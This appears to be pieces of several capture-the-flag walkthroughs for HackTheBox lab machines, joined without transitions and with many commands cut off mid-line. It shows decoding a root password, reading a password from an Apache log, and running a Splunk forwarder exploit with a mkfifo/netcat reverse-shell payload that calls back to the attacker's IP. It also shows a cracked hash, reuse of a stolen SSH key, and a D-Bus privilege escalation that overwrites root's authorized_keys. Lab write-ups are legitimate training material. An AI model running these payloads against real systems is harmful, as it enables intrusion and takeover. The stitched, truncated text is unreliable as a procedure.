```
7a6c6b657e5533456e7638326d322d
```

Decoding it we obtain the root password :

```
echo "7a6c6b657e5533456e7638326d322d" | xxd -r -p
z1ke~U3Env82m2-
```

Finally, we can just access root account :

```
sysadmin@compromised:/lib$ su root
Password:
root@compromised:/lib# id
uid=0(root) gid=0(root) groups=0(root)
root@compromised:/lib# whoami
root
```

```
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://compromised.htb/shop/en/
Warning: OSScan results may be unreliable because we could n
Aggressive OS guesses: Linux 2.6.32 (91%), Crestron XPanel c
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 35.219 days (since Mon Aug 10 15:46:07 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   278.78 ms 10.10.14.1
2   278.87 ms compromised.htb (10.10.10.207)

NSE: Script Post-scanning.
Initiating NSE at 21:01
Completed NSE at 21:01, 0.00s elapsed
Initiating NSE at 21:01
Completed NSE at 21:01, 0.00s elapsed
Initiating NSE at 21:01
Completed NSE at 21:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorr
Nmap done: 1 IP address (1 host up) scanned in 40.99 seconds
           Raw packets sent: 2088 (95.460KB) | Rcvd: 42 (2.5
```

```
web@doctor:/var/log/apache2$ cat backup | grep password
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 5
web@doctor:/var/log/apache2$ su shaun
Password:
shaun@doctor:/var/log/apache2$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
```

Privilege Escalation

Going back to the nmap scan, we found that port 8089 was open running Splunk.

Inside /opt directory there was another dir called splunkforwarder :

```
shaun@doctor:/opt$ ls
clean  splunkforwarder
```

Searching for splunkforwarder privilege escalation I came across the following exploit

This github repo contains two exploits, a local and a remote one, as the exploit was written in python2 and the machine had python3 I decided to go with the remote exploit .

With this exploit we can abuse Splunk Universal Forwarder by configuring it to use our machine as deployment server, then we the connection is done our machine will send a malicious code as

```
python splunk.py --host doctor.htb --port 8089 --lhost 10.10.14.161 --username shaun --pa
--payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.161 4444 >/tmp/
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpPYWA_O.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.161:8181/
10.129.18.114 - - [27/Sep/2020 22:36:35] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup
```

Checking netcat we have obtained a root shell :

```
1  nc -lvnp 4444
2  listening on [any] 4444 ...
3  connect to [10.10.14.161] from (UNKNOWN) [10.129.18.114] 38832
4  # whoami
5  root
6  # id
7  uid=0(root) gid=0(root) groups=0(root)
8  # hostname
9  doctor
```

Hash	Type	Result
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd	sha256	atlanta1

Now we can just su as user paul :

```
1  www-data@passage:/var/www$ su paul
2  Password:
3  paul@passage:/var/www$ whoami
4  paul
```

Privilege Escalation

After enumerating the machine for a while , I only found a private ssh key in paul's home directory, I downloaded it and tried to use it with user nadav and it worked :

```
1  ssh nadav@10.10.10.206 -i id_rsa
2  nadav@passage:~$ whoami
3  nadav
```

Inside nadav's home directory there was a `.viminfo` file which highlighted the machine was using USBCreator D-Bus interface :

```
/etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
```

Running id as nadav reveals it has sudo group privileges, so the machine is vulnerable to this exploit :

```
nadav@passage:~$ id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip)
```

In order to obtain a root shell, I will upload my ssh public key and overwrite root authorized keys with it , so we can ssh into root .

```
nadav@passage:~$ nano authorized_keys
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com
```

Finally, we can ssh into root without providing any password :

```
ssh root@10.10.10.206
root@passage:~# id
uid=0(root) gid=0(root) groups=0(root)
root@passage:~# whoami
root
```